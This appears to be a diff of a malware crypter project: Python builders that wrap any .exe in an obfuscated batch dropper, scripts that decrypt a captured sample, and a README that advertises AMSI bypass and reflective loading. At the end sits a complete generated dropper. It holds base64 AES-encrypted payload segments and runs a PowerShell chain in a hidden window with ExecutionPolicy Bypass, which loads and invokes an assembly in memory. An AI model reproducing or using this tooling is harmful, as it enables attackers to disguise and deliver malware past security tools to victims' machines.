    style = random.choice(['rem', '::', 'rem_junk'])
    if style == 'rem':
        r = rem[0] + make_junk_var() + rem[1:]
        return f'{r} {make_junk_var()} {rand_words()}'
    elif style == '::':
        return f'{make_junk_var()}:: {make_junk_var()} {rand_words()}'
    else:
        r = rand_case('rem')
        return f'%{rand_var()}%{r} %{rand_var()}% {rand_words()}'
 def make_junk_block():
    lines = []
    next_label = rand_label()
    lines.append(make_goto_cmd(next_label))
    for _ in range(random.randint(1, 3)):
        lines.append(make_rem_line())
    lines.append(f':{next_label}')
    return lines
@@ -0,0 +1,33 @@
 import random, string
 def rand_str(min_len=5, max_len=10, charset=None):
    if charset is None:
        charset = string.ascii_letters + string.digits
    length = random.randint(min_len, max_len)
    return ''.join(random.choice(charset) for _ in range(length))
 def rand_var(min_len=6, max_len=12):
    first = random.choice(string.ascii_letters)
    rest = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(min_len-1, max_len-1)))
    return first + rest
 def rand_label(min_len=5, max_len=10):
    chars = string.ascii_letters + string.digits + '[]{}()_'
    first = random.choice(string.ascii_letters)
    rest = ''.join(random.choice(chars) for _ in range(random.randint(min_len-1, max_len-1)))
    return first + rest
 def rand_word():
    vowels = 'aeiou'
    consonants = 'bcdfghjklmnpqrstvwxyz'
    length = random.randint(3, 12)
    word = ''
    for i in range(length):
        word += random.choice(consonants) if i % 2 == 0 else random.choice(vowels)
    return word
 def rand_words(min_count=3, max_count=10):
    return ' '.join(rand_word() for _ in range(random.randint(min_count, max_count)))
 def rand_case(s):
    return ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in s)
@@ -0,0 +1,39 @@
 import sys, os
 JUNK_DENSITY = 2
 JUNK_BLOCKS = 25
 PAYLOAD_CHUNK_SIZE = 2800
 OUTPUT_NAME_LENGTH = 9
 AES_KEY_SIZE = 32
 exec(open('rand.py').read())
 exec(open('crypto.py').read())
 exec(open('obfuscation.py').read())
 exec(open('generator.py').read().replace('from . import', '#').replace('from .rand import', '#').replace('from .obfuscation import', '#').replace('from .crypto import', '#'))
 if len(sys.argv) < 2:
    print(f"usage: python run.py <input.exe> [output.bat]")
    sys.exit(1)
 input_path = sys.argv[1]
 output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
 if not os.path.exists(input_path):
    print(f"file not found: {input_path}")
    sys.exit(1)
 with open(input_path, 'rb') as f:
    exe_data = f.read()
 if not exe_data:
    print("empty file")
    sys.exit(1)
 print(f"in: {input_path}")
 print(f"out: {output_path}")
 if generate(exe_data, output_path):
    print(f"\ndone: {output_path}")
 else:
    print("failed")
    sys.exit(1)
@@ -0,0 +1,105 @@
 #!/usr/bin/env python3
 import re
 import base64
 from pathlib import Path
 from Crypto.Cipher import AES
 from Crypto.Util.Padding import unpad
 correct_order = Path('order.txt').read_text().strip().split('\n')
 correct_order[0] = correct_order[0].split('=')[-1]
 print("=" * 80)
 print("decrypting...")
 print("=" * 80)
 print(f"\ngot {len(correct_order)} vars:")
 for idx, var_name in enumerate(correct_order, 1):
    print(f"  {idx:2d}. {var_name}")
 content = Path('dontrunACTIVEmalware.bat.txt').read_text(encoding='utf-8', errors='ignore')
 lines = content.split('\n')
 variables = {}
 for line in lines:
    matches = re.findall(r'[sS][eE][tT]\s+([a-zA-Z0-9_]+)=([A-Za-z0-9+/=]{1000,})', line, re.IGNORECASE)
    for var_name, var_value in matches:
        variables[var_name] = var_value
 print(f"\nfound {len(variables)} b64 vars")
 payload_segments = []
 for var_name in correct_order:
    if var_name in variables:
        payload_segments.append(variables[var_name])
        print(f"  ok {var_name}: {len(variables[var_name])} chars")
    else:
        print(f"  missing {var_name}")
 complete_b64 = ''.join(payload_segments)
 print(f"\ntotal b64: {len(complete_b64)} chars")
 encrypted_data = base64.b64decode(complete_b64)
 print(f"decoded: {len(encrypted_data)} bytes")
 aes_key = bytes([150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189])
 iv = encrypted_data[:16]
 ciphertext = encrypted_data[16:]
 print(f"\niv: {iv.hex()}")
 print(f"ciphertext: {len(ciphertext)} bytes")
 cipher = AES.new(aes_key, AES.MODE_CBC, iv)
 complete_blocks = (len(ciphertext) // 16) * 16
 if complete_blocks < len(ciphertext):
    print(f"truncating {len(ciphertext) - complete_blocks} bytes")
    ciphertext = ciphertext[:complete_blocks]
 decrypted = cipher.decrypt(ciphertext)
 try:
    decrypted_unpadded = unpad(decrypted, AES.block_size)
    print(f"removed padding: {len(decrypted)} -> {len(decrypted_unpadded)} bytes")
    decrypted = decrypted_unpadded
 except:
    print(f"no padding found")
 print(f"\ndone")
 print(f"size: {len(decrypted)} bytes")
 print(f"first 16: {decrypted[:16].hex()}")
 print(f"first 2: {decrypted[:2]}")
 if decrypted[:2] == b'MZ':
    print(f"\nit's a PE!")
    Path('payTheload.bin').write_bytes(decrypted)
    print(f"saved to payTheload.bin")
    print(f"\ninfo:")
    print(f"  sig: {decrypted[:2]}")
    print(f"  size: {len(decrypted)} bytes ({len(decrypted)/1024:.1f} KB)")
    strings = []
    current = b''
    for byte in decrypted[:5000]:
        if 32 <= byte < 127:
            current += bytes([byte])
        else:
            if len(current) >= 5:
                try:
                    strings.append(current.decode('ascii'))
                except:
                    pass
            current = b''
    if strings:
        print(f"\nstrings:")
        for s in strings[:20]:
            print(f"  {s}")
 else:
    print(f"\nnot a PE")
    print(f"got: {decrypted[:2].hex()} (wanted: 4d5a)")
    print(f"order still wrong maybe?")
 print("\n" + "=" * 80)
@@ -0,0 +1,64 @@
 #!/usr/bin/env python3
 import re
 from pathlib import Path
 content = Path('dontrunACTIVEmalware.bat.txt').read_text(encoding='utf-8', errors='ignore')
 lines = content.split('\n')
 variables = {}
 for i, line in enumerate(lines, 1):
    for match in re.finditer(r'"([^"=]+)=([^"]*)"', line):
        var_name = match.group(1).strip()
        var_value = match.group(2).strip()
        if var_name not in variables:
            variables[var_name] = var_value
    for match in re.finditer(r'[sS][eE][tT]\s+([a-zA-Z0-9_\[\]\{\}\(\)]+)=([^\s&]+)', line, re.IGNORECASE):
        var_name = match.group(1).strip()
        var_value = match.group(2).strip()
        if var_name not in variables and len(var_value) < 100:
            variables[var_name] = var_value
 print(f"found {len(variables)} vars")
 bang_vars = {k: v for k, v in variables.items() if '!' in v}
 print(f"vars with !: {len(bang_vars)}")
 for k, v in bang_vars.items():
    print(f"  {k} = {v}")
 line_42 = lines[41]
 print(f"\nline 42:")
 print(f"  {line_42[:200]}...")
 resolved = line_42
 for iteration in range(50):
    old_resolved = resolved
    matches = re.findall(r'%([^%]+)%', resolved)
    for var_name in matches:
        if var_name in variables:
            resolved = resolved.replace(f'%{var_name}%', variables[var_name])
    if old_resolved == resolved:
        break
 print(f"\nresolved after {iteration+1} tries:")
 print(f"  {resolved[:500]}...")
 if '!' in resolved:
    parts = [p.strip() for p in resolved.split('!') if p.strip()]
    print(f"\ngot {len(parts)} parts")
    clean_parts = []
    for part in parts:
        cleaned = re.sub(r'%[^%]+%', '', part)
        cleaned = cleaned.strip()
        if cleaned:
            clean_parts.append(cleaned)
    print(f"\ncleaned ({len(clean_parts)}):")
    for idx, part in enumerate(clean_parts, 1):
        print(f"  {idx:2d}. {part}")
    Path('order.txt').write_text('\n'.join(clean_parts))
    print(f"\nsaved to order.txt")
@@ -0,0 +1,21 @@
 SET43Nn4obTrQ0J=j97KQu6
 JIMZlyBt
 lloztMu
 oAWM9gN3
 xAEr2y8D
 u9HraJGX
 xNF82uy
 amiieM
 ih0wojr
 SeLNlxJi
 nrp2Cd
 ndOVLLU5
 ilUetRQ
 Ravpss
 tTp84C
 rNQFeP
 kd7VYdp
 OD1pagW
 k7EmPoW
 TGOERjgr
 xWiRpFW
@@ -0,0 +1,121 @@
 Made with love and horniness by t.me/toxiiiis
 ## usage
 ### builder 1to1
 ```bash
 cd "builder 1to1"
 python builder.py input.exe output.bat
 ```
 exact replica of original originals structure, 21 segments, line 42 order obf, 7step ps chain, reflective load.
 ### builder improved
 ```bash
 cd "builder improved"
 python cli.py input.exe output.bat
 ```
 more stuff, fewer segments (auto split), order fragment obfuscation, 47part ps command split, amsi bypass, conhost.exe copy, random case, execution delays.
 ### differences
 - 1to1: always 21 segments, simpler, smaller output
 - improved: var segments, more obfuscation layers, amsi evasion, bigger output
 both use aes-256-cbc, reflective loading, no network ops
 ---
 ## log (A to Z)
 ### 1: anal ysis
 1. Identified 50+ variables, 21 base64 payloads, AES encryption params
 2. obf patterns: random names, command splitting, GOTO flow
 ### 2: ps chain flow
 1. 7step `$env:` var ref chain
 2. made a py to follow chain: `nZaRCF` > `aGVl55` > `OsJQhAK` > `tjvcnGK` > `bQtWsrx` > `MDmRRqW` > `tsEwVI` > `9UkijMM`
 3. extracted ps command (826 chars)
 4. AES decrypt with key and IV
 ### 3: payload extract and order
 1. 21 ba64 encoded segments (109,272 chars total)
 2. **important**: segments must be joined in a order
 3. traced line 42 which has variable `43Nn4obTrQ0J` containing the order
 4. found 73 variables to extract correct order from line 42
 5. order: `j97KQu6`, `JIMZlyBt`, `lloztMu`, `oAWM9gN3`, `xAEr2y8D`, `u9HraJGX`, `xNF82uy`, `amiieM`, `ih0wojr`, `SeLNlxJi`, `nrp2Cd`, `ndOVLLU5`, `ilUetRQ`, `Ravpss`, `tTp84C`, `rNQFeP`, `kd7VYdp`, `OD1pagW`, `k7EmPoW`, `TGOERjgr`, `xWiRpFW`
 ### 4: AES Decryption
 1. joined 21 segments in order > 109,272 b64 chars
 2. b64 decoded > 81,952b encrypted data
 3. IV from first 16 bytes
 4. AES decryption key: `96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd`
 5. removed PKCS7 padding > 81,920 bytes
 6. yuppurs decrypted payload starts with "MZ" and runs correctly on vt
 ---
 ## steps
 ### step 1:
 ``` input: exe > PKCS7 > RNG IV > encrypt with AES > pend IV to ciphertxt > output ```
 ### step 2:
 ``` input: encrypted output > b64 > split into segments (21) > each segment in a var ```
 ### step 3: 
 ``` create var containing the list of vars, split var name itself across multipile vars, reconstruct using var. varvarvarvarvarvarvarvarvarvarvarvar ```
 ### step 4:
 ``` var chain > each var has part of ps cmd > last var has AES dec key ```
 ### step 5:
 ``` split every cmd across 4 to 10 vars > random 8c var names > 11 random labels with GOTO statements > junk comment lines > random CAseS > final output ```
 ---
 ## details
 ### AES params
 ```python
 Key (hex): 96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd
 Key (bytes): [150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189]
 Mode: CBC
 Padding: PKCS7
 IV: first 16b of b64 decoded payload
 ```
 ### ps flow
 ```powershell
 # 1. sleep 3 seconds
 Start-Sleep -Seconds 3
 # 2. create AES decryptor
 $jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new()
 $jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC
 $jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
 $jPFh8Se4.Key = [byte[]]@(150,182,100,248,...)
 # 3. get payload from 21 environment vars in order
 $wEAR7v = [Convert]::FromBase64String(-join ($env:43Nn4obTrQ0J.Split('!')).ForEach({(Get-Item "env:$_").Value}))
 # 4. extract IV and decrypt
 $jPFh8Se4.IV = $wEAR7v[0..15]
 $F9q72zl = $jPFh8Se4.CreateDecryptor()
 $4lKXVT9F4 = $F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0, $wEAR7v.Length-16)
 # 5. load as .NET asm and invoke
 $gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4)
 $gEBOJ.EntryPoint.Invoke($null, $null)
 ```
 ---
 ## how to use the decryptor
 ```bash
 # extract correct order and decrypt
 python extract_absolutely_all_vars.py
 python decrypt_with_correct_order.py
 # output: PAYLOAD.bin
 ```
@@ -0,0 +1,163 @@
@echo off
 Rem kipabomo zakapi bano nonalila nitoba mopitoti ninimobi
 REM kilanoza kadiki tapipizi tiramo torodino ninoropi labamizi
 goto :vL0gwM6lGY
 %qZiliArJ%::%B5d0hLn9% nolaboka tapari ninoropi
 REM rirano panapala didi lodoka zilotopa lamo
 %sqer9W5C%rem%i8xSkiZh% tiramo nodokibi robikoza nolaboka
 :vL0gwM6lGY
 set "QHM6xrrJ=t"
 sET "eI06A5jL=e"
 sEt "aOGFgVV7=s"
 SET PShXNFrD=t
 sEt M9daVqOz=p
 sEt xH7huVcT=a
 SeT pzgcPkJr=y
 seT DFbEusJd=load.exe
 :: zoti zatapa kozari loma rilatipo pokolo
 REM bomokima narili kipabomo bikoza dipiziro kanabo zado
 rem zilotopa kozari zoti riramito
 rem nilali dazodato panapala kobi zilotopa danona
 goto :n1m229
 :: labo mikazota ditona lita ranikizo zipinaba tapari zado
 :n1m229
 set E5SArf2x=cAZNq/O4lFR8nhhHHBxZHSyCPqYlij0USHa0d4iRnHO3mai2GF3An64VKXcuy9h/1MQDjttZI323NBL2GO3Xo/3a8FpFpk7h6SLa8Q589K90vC3REr4EMT5xjo/ASAIrp06xGuD6MfaX+kajyvZe+2aLcCaJmg7uK7b+whazLnttftppVWGKOVEuNQv+2WzuDpof/U0cuLfyf5e2cebJFzlV8Iv1TYropVDuVxyx4y/w5MLlf9EwCsMVnz72WMjOZcOeWw
 SET Mz54j3Wq=S9HFeS/uaW0WkoGnHVz17eVScM4ovRlHSciMK6GBdnb+LYKQp5fN0e+JmIgea2SS5pV+oxNY8/Fwrc+1+Mg3j1n8av0hcp3AiSaeYgq51F78MMMwXANTFCc1+Q9ofCk6IXxZpFiUveaa1WmReHzhLV6jebROsoWZYlInPjKKjX9XBUCmiyCZrIiE+IUgoUyvRMzENwYRIn0XSdhuHwkdwCgRURG+sGh9UyQZ85PuSe30ocKe4TUuaqMoxKB3r3fu0FH+Vl
 sEt OSZHBbxW=rJ/h5PrAYXjkjgH6fiaag2+oYNJVDpPBdWloi6I4gGIM+CglUSUfSFjssgbvBB2ZCFG98UPQpS1oBUuk6/oeKa9BsUqEfIvqCNlSf9fcJW4HJhXu6+zFc+0IOBSEYkFN614H5TtU5w3qPVdrOpVHTqDomB4rR+J2KQIY87zr3fTqoFkZr0IKtGJfElhA4xjSbiWFjD9IGgnwGSmdpPEgWrYNvvxzfLPpxiRQCfY2sp8QeMIrW9KtKauoVAoUGFI7jWZluA
 SET KivNLiYN=B53+8e0MlEgEueWgpw54uorpWhj/IpO2Bgyzljmy9zAxUzWsbyQ4h82Dvua9MVO+Ik5aU1SN97m7BMdDU7tqETR0+coCi4D6e/CBAbnPDYYMXWqeWPMyy9gD/8foKx/bZIdskD5dOIE42KnfdP0VajSo7qvpq4gLsUzRLzl2iqSdUtcVm/zVo+whB0DjbPSqEJTNJIXhVHUEY9P1/75VvTtXiTFC05opA+SI+xrlmR2fXHDj5CHCPTLRHwNtjy/95uW82E
 SET IViByJQa=CG7nSE8KQFGCd34koE+pnuB6oVstT9UcVcXYZPfhUGzO2RSE7gquljTWa+O/LjBGydXYZ0uAzBzOfXVtDMl/E6+VLCGqkPyOx43SXxUG3F9QClG+nVqLvtNejqOwrb3tSwBqL4htY9w73CMjSliWmtAAJNrypWA0RoUh3Ug4+CO0NzjhS8CL43ppLOD559lP1EWIjtFal1pJONEW8wbccMdrCt12OtdmhY0ZLx4Os+Hg7iog3zL0haTipHli68Pq1tyYgn
 rem ripanika kozari nonola ripomoti loma tika noto lazozi
 sEt Zj3iG1r4=pFj4pTRDF/g9DgSvULinj5+tYFe9SV/bhbZA2h9SiHMAqXVV8n8buxcV2VxpFoWUYg53tz9CVadKnv63V8CVr7fgDWOT6a2zps7odhTf028efOQTLMs2NJPfqxyTFqQX1ysDJ5N0zyGG3lmOgpduC5UK/neGGr+kWnmR+1pj4qy+TPdBJtAwIeD0otY/fse7MML7RG4u6Rucnq441DdhPJBmEwKYLJnj0P0g9YKABwlmrhdVDUz/SQQmmcpvhOW78/ikSw
 SET wAOI3Y8B=8pFKGtFt9PUzYd0NZFrzGY1HeDlwKKo0dLAnc/QZsSrk8MpuJ3b1elmTCrdi7TT0cA8GFngruPvOySBamlyIVqQwb9BJ2HM/oiHPHP9H6Cf3y7Xj/oHPEPV+aWiSzcRybOxMrOiadeZZnKkiJVTFsGHIzlLamifRB1LAXdjVhN+9+rhMyBe+uoKhZDsCGd0HtmzKYxP7DvY1NkItMqh7IrOp7bx3epzAZJ3DK4Os1rE/zitxzCBzeRs6L9QiRkKKobDFsO
 set JZA7v0jh=QiM34ZOpMf8YtTo3KvXnQ1YXF/xLQuYXDPzyix3fu7XNje13DOA/IXZ6KAFkwHn/LTB7YnLKkkstR6TBcRV9faBgzcuPA3lHxKtDOs6SVfSF4dFJsuMrWO3AMVdnbaJ/kaUV1kpBMkZhcowCcsVDsxmJ0GYQ0B7aKDOstbbmVTnq3r5EkCAhpcNSQRJwl8WC5LQYDjNrlOO3/YlZqAjWre231VhSvzEAWlWFh02y7/07yHJvV8MNMTFsY/l4X0JzGYjUy3
 SET DAdfHIee=UVjn4PWfXAYMQD4tPtQujlSEbSBC7w0H6NlFgO3MNv64eKNos8JGUMIUnDy6fS79StJzKCvMD817zCnQ6CQmpmoYbxxk3TCk/eVuKFsDrY1HkEdUw3Pxqewmjz2kU3+HsiptZgF5v9wg/VU53CzlUvUQeK++XWCohQBsqYWj3tdtozU2P0Cps+FMkOmqvcsgTRuQK0HVFPkI7f0lgSW3X54QbkyZcxKzmwJv5fSPTHwL5rmk/FKS9/FcffRC9rNDPMmMHy
 SET kjdUyGwR=Y3z3xBCa2CY+CsHCsE+sL4nshFh/TCxqTc1xz1e7lREHKCGz1JSD7J+DIDTSR5e1io1WfQWiSfycAjKT42D+ktRy976vdgCqlJSqpE6sTzsBIGmL+CTPc2K+K44VB3FPtOKIFt77vMg38Ml2xOqlLQprHsXVzZa2MHtXEe57Xr6f1ql2Lx51qLfP9yZgNaUutxseOZLrnZ+8Qji0K7Jmde7fGCynZTOnU1CAc0K0zvQNAPgy35xgcePEAZRJMa5C8NT9lE
 %MIBk9PBb%REM%CKvgikrs% zazolomi tika zazaba tapipizi miba takizo
 SET ODyICk9W=VagCbcF7K2JzPe/a+NrBztPGihmXeqGOd0tt4Tfb9QYm7KBEYWyWvqE2tffr63jsHiI35YsBwx5qmMlDbE3EsF9OE8MRCbUP1PyhgUTWbxns+Ro/WZM4pf2ysChfoBCeGzJHNzpJQZvHotbhfkfszlpjJH7ggp6ktdjDiVg4uv/sz1J5Oo8EGOGUIzjLvcvZa778P/uFOey/JTVIOBZwiGGeGHGQqs5NdKhPKDtXv5TwJnNcXvOnJI1oNUaOEamlUOMzfz
 set x0vsYYSk=InZBUaPIy0aRphQsOH5KISjt5Gm/T++LxnrfxkFnRwC+ecpK//IwL0tNgnGurgtFiGde3R/x5s6rHwwXFrS0Hv0SJ3+12AEM7QaNHilT7GdsDfOUuPzp8NG6+PMC0PfQZAcMXmcLirP4dVC48MTOEpA3iNpeTOMnU8HHTgYwLU66wfmxR9nQcTgQKJFGntXqaJsWJECHwidoMh/7DGBxN9Ay5PEnpyAt4vjWeifMOg2jna9Uf0JblHbS1Loa7/WKX2cJjS
 sEt WrkaZiHq=LTmBLQ+tfZ2yo7yIxvgUK90grvsomOgY005dyjt2xcjwL8EA9+ggY0mSTViOWR0ehj1kDbySp/C7GzfrAFut7CB3CExEGQYHm3VFB0imAMJqfLbYeUgtAUc11/F66kcfcxcZtFfhhVo9rT/ceWluhIecClspA04QIpHMWtVrkHr+zQLA0FtYeczlOg15rNK0oGq53cZoQR88NnBZMDCqe+ArS+Q8J1LHAtBniMTCflu6SSn4kmn3Psa9l/knIVnupDPHU9
 sEt RVR1sGlk=/J5p126WijFDNRe3mjQ2GsJbocheucitQZ1G4LkbmH5VcL/EIa5hbO/WO0KtMGCLheKr6m9QIgxMPdYEb4869ElO72XOvlbh0/QnUGd0ky6WcndNc2fsLXs0CQdddj9kIISltGZs00DFYPxGqt08RMyOL6tTzrKNg6ALhzZlkb3VgjWwTL9FIWTzn0vSQEOo06Wt+d+axdsAxS3gS2Wj7I4lozyeue+BO/mcB8SfI2WHS+IG9HFOVVxPj4ox5++ltdO2oU
 set raQoGp88=Iqk7pba/p22E6Iga4itGThJzpKVbOHWXnDH6ISw/XWV4B3CUtkq1kWmGeUx2v+RQvWZrMz7Qog8a//TUiDi6SVRg+8LRUYfsuU7H/Fi2vuB0OwCJ/lwUQbqz7+C1AyiV0E8nQU/0fgc7Qlf8vE75ZsQ8vUn8sJXhj4+sUs5a0LidN5Xoe8NBQeOpzUBxyeavGW5564L3wL5hdQw/wkIxrXUfZcL1XhY99yqI6051Xcp8UR5KNIzQJdeTZQkMOWwPByCR8j
 %HbAPknok%::%xQ7CorZ7% zido tika lodimoki
 SET js0ADr6a=YOZ8jaWuoffNbD5tyXpnRhWc2M0wI+5GTx40959IuLG4PNXpV5Z/n+oGJv+uAPnyjAtxNVcE3nGosWxV+DcKqxtkL9aq9yhhQkET0qDxFFMFrINr1jf7w0VOt8mqtye1QnTRkB9DR7rcUKg3wa3MNtIWwy5tzwVzXMRJSQKXvSbxe1RAMmqFe6oahRn7s3fxdDi1GFsTmDnl2K2n3xp6XfR4PVwiLIyfEqfnggpd8EsMZFO0Nn0Kg2EnOd9+tTMVZOWNsV
 set HCrxZADp=Wxn9yMz1cI/+nq1EUcVxqOubT4c8cZS321K/dvmlWyH7iMTE7qumCrSEqkyQHNZaw1F9DrcIqxtXQkcR2DDd02utTI/XuJxJdlPTUpacMw60XOMTRB+Yn+2p9mTPKgIlE+B+nBsFqCs8CeHznApL8H0WWNM4EWtlY6KQ1LVrHrkKqf9Ija0VUWI5MgWwuOrKFF3k0wwv9ohOTKD656iAVbWYCFB69pe8fgw4hhgIQXdm1dpje60QkZOpwFx8zgP8c8x0U6
 SET heP1CCKf=vz9C1rj1mjB70fotOFz0QTYFdAGA9QfgQtRRuSl77CCPS8eKiSUDFqjzRPvPaCu1hrJXUTQP+2PPRxRkc53csE3Z0xt5EKkuf3SKS28LeweQxQQQaNlg499BPUSy6TkEIAMccW+ztv14y61N06dAnUDw6JGBbQS8qffmUc79Jkv9ppAY68vxIHBflTv2yxD8P0NuVGuMNT+WhpOfbAlORsQIbawCZ/QvEetFDgTneSIs90VS9+kH7ryroE9eiS/Us59oAj
 sEt URrHtuVX=/2+ZSmKtdZOn8W6cSkPCpXdl7u5j6INOjCO/YBT+3gxqpkx7ZhEDomr6oTDZhqj+zxcr2ET34qncziC30hPBDq7aFreipXzfxAw2fhjh22nMYzva20P9+IKRwZAMu1rClfyVe2cUttoihWR5mCmG0qWpENVJ5weQLMb5EECzUTFgXFGPYbE9B2ZI6jwDyKVzK8isg2qz6stiOCjrDoGl3yv00EpZmX8eYk7Bxr43BAHGtbBbUE9bT7ZSXHwvz55I/98Iyn
 SET W27dRdor=CkifNrKJlQVjpBemBx04YuFrIa8bG00w/Yy4vo/r9nHeEjAg3xuzXpEufpfHdWLINyCQJxvlhkE9QQprfpKmku+FQLLf0lg8wCVN0h7BMR9RP0mUrLQns2qcXSDTACWGCZSrRLCBB3zdLYsRrkkJo/7vDvM5ALDoXto6C7EmlGFLktlARB9atB9bdJCfx52EiwkSKxAXnzj6z7PgbVdRx9kfhIFN4ICAzaqZ681i8jdXQK/bW6iZZKySzHmoYQ553zFGcr
 Rem panapala kiramimi ripo moli mikibaka zimo
 sEt bSjRBAJ7=1KiCOz7x/nvpSNHqkRdwRMaKxbmc14ErlD6zceabbnslgYgoVBhgphgONPx89MLLivk+jOsyrC9wVQfCITgKUlGjmaLuujeN0GyDYzOJrmL7XIg3omNo72VvyrAiygNoYsDDB9Jadd4hHtbinzluEfIWPm1pxdR7nBxtCMUjQoUp9DNKmDPXNpQdU81i+DXii7x9ldvy6+m1/UhxqMg9bhtYTKVL3KerMEODH9sVRbrMvBwl7qrldn40eGd0zJuslYB86k6r
 :: popiliki zalazipo noto kilanoza
 %p6Mh76s0%Rem%GUTMLOdY% kadola torola tala
 Rem ziromoti bikoza pili notiri larala
 :: bano rozoboba nonalila tatabipo
 goto :lbdFme0GXnf
 :lbdFme0GXnf
 SET "caifiwMo=E5SArf2x!" && %GP96DE1J%rem%H655fuxq% riradi moma zakapi pirido zoti nabi ropa
 sEt "SUFMnTHK=Mz54j3Wq!"
 SET "PNI4SNDk=OSZHBbxW!"
 sEt "PqT5lZYL=KivNLiYN!" && REM nida zoti titikoko zaritabo
 SET "giS1OT5O=IViByJQa!"
 sEt "G15bnTBj=Zj3iG1r4!" && %LYcJrNfR%Rem%jfmWQdip% lota nomaki nonalila dobili pibotoli popiliki
 sEt "qS0d1i6t=wAOI3Y8B!"
 SET "jRfLoUSV=JZA7v0jh!"
 SET "mPkyvtdf=DAdfHIee!" && Rem tidiropi riradi kokiro bipino rolazo nabi
 set "xUQC83sf=kjdUyGwR!" && %LfOo0MNL%REM%FQo9Qbsd% toba lori zatita zodi kozadozo kotiraro nabi
 set "lmzfrXCT=ODyICk9W!"
 SET "mJe1Ru0G=x0vsYYSk!" && %C6BmcOfm%::%Au0KxR5H% rimomo mota pirido zaraboli ropa kotota tiramo zatita
 set "BZEppChT=WrkaZiHq!" && %IMX7CQi7%rem%c83c21dY% zazaba kadiropi zimo kapapori
 set "BI3mfBup=RVR1sGlk!" && :: lota zatita roti nolaboka
 SET "mKOurKGm=raQoGp88!"
 SET "j3tJXi5X=js0ADr6a!"
 set "b316CVtm=HCrxZADp!"
 SET "ZD9ECOLo=heP1CCKf!"
 set "hfh6kV9f=URrHtuVX!" && %dxdMeOcc%::%ZOFc9UnU% zaritabo lanapota rabiti zazolomi
 set "haAZDQ4A=W27dRdor!" && rem pokolo labamizi ranikizo rabiti rini
 set "zpYewLhD=bSjRBAJ7" && REM kapapori zatita lodimoki bozo
 SET "yCRhJku8IRHM=%caifiwMo%%SUFMnTHK%%PNI4SNDk%%PqT5lZYL%%giS1OT5O%%G15bnTBj%%qS0d1i6t%%jRfLoUSV%%mPkyvtdf%%xUQC83sf%%lmzfrXCT%%mJe1Ru0G%%BZEppChT%%BI3mfBup%%mKOurKGm%%j3tJXi5X%%b316CVtm%%ZD9ECOLo%%hfh6kV9f%%haAZDQ4A%%zpYewLhD%"
 :: lanapota tapazi lamo pokolo tapari rilatipo tapipizi
 rem zido moli ripanika torodino pili bozo notiri
 :: labamizi kozari lopomobi dazodato liti zimo kilanoza zaritabo
 goto :Lzpp9wR5aCWq
 :Lzpp9wR5aCWq
 sEt "CrKmQwGz=$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"
 sEt "fdgQcZiX=$jPFh8Se4.IV = $wEAR7v[0..15];iex $env:CrKmQwGz"
 SET "PfW1DjPc=$wEAR7v = [Convert]::FromBase64String(-join ($env:yCRhJku8IRHM.Split('!')).ForEach({(Get-Item "env:$_").Value}));iex $env:fdgQcZiX"
 sEt "bMYVBp6i=$jPFh8Se4.Key = [byte[]]@(171,143,7,164,190,81,72,104,31,238,209,154,165,163,89,131,212,33,59,64,33,4,240,187,139,97,118,160,166,69,226,146);iex $env:PfW1DjPc"
 SeT "kNUm65y6=$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;iex $env:bMYVBp6i"
 SET "vNyB1bF2=$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;iex $env:kNUm65y6"
 set "LVph4dqW=$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();iex $env:vNyB1bF2"
 goto :TejwFLQYTRym
 :TejwFLQYTRym
 set "cJp97kWe=powershell "
 set "DiV3Uh7Y=-ExecutionP"
 SET "hHex5g1G=olicy Bypas"
 SET "DrD1U9Gs=s -WindowSt"
 SET "rJY8T6aK=yle Hidden -c"
 %cJp97kWe%%DiV3Uh7Y%%hHex5g1G%%DrD1U9Gs%%rJY8T6aK% %LVph4dqW%
 Rem rirano labo bapopo
 %YbvbHBPN%rem%BKneCGH5% tidabo tidiropi rilatipo
 REM nonola tala lamatibi zilotopa pako
 %y3cD9oxW%Rem%aCz9xs8A% kotota lodo pirido lori
 :U3JnSvEPuw1
 rem rotimani doli takizo
 Rem pomona pili ponimado nonalila zaraboli
 Rem lita zozata nirazaki pibotoli
 REM tina torodino kadiki kiramimi pamololi tazakoka
 :Ve5QgYCAO3
 goto :dIlI92
 rem zaritabo pibotoli dilaboza dipiziro patoti
 %AYSeDuz0%Rem%auQT2QC4% nirazaki takizo kozari radipata tapazi bokizalo
 REM bano nopo kadiki rotimani bori rilatipo ninoropi dilaboza
 %AlAYyzmi%::%LGYrF8Zx% baraza baza nirazaki larala
 REM lita zazolo tapi zatapa bano
 Rem dazodato dini rinopono kamono rozo mota koranaka
 :fEptsO5fulgy
 %zxRITLx6%::%iegmjjkW% rinopono zodi diro riradi kiramimi potapaba tina
 Rem ripomoti kipabomo kobi robo miza
 rem kadiki rozo pipabi pirido
 Rem lita toba zaritabo dota dala
 :dIlI92
 REM kadiki bokizalo zoti zabara
 REM bomokima lodimoki zitinaki kiramimi ritazizi riramito
 rem rirano bapopo miba bakina mitinira
 REM zoti rimomo nomaki kadiropi nipaba zalazipo toba rozozaza
 %zJ7Adv46%Rem%ofAQROw6% rimomo zoti labamizi riradi radipata kotiraro lopomobi tapa
 :KxFrICkRJqU0
 REM rabiti nitoba baza tapa dikopo dipiziro riramito panapala
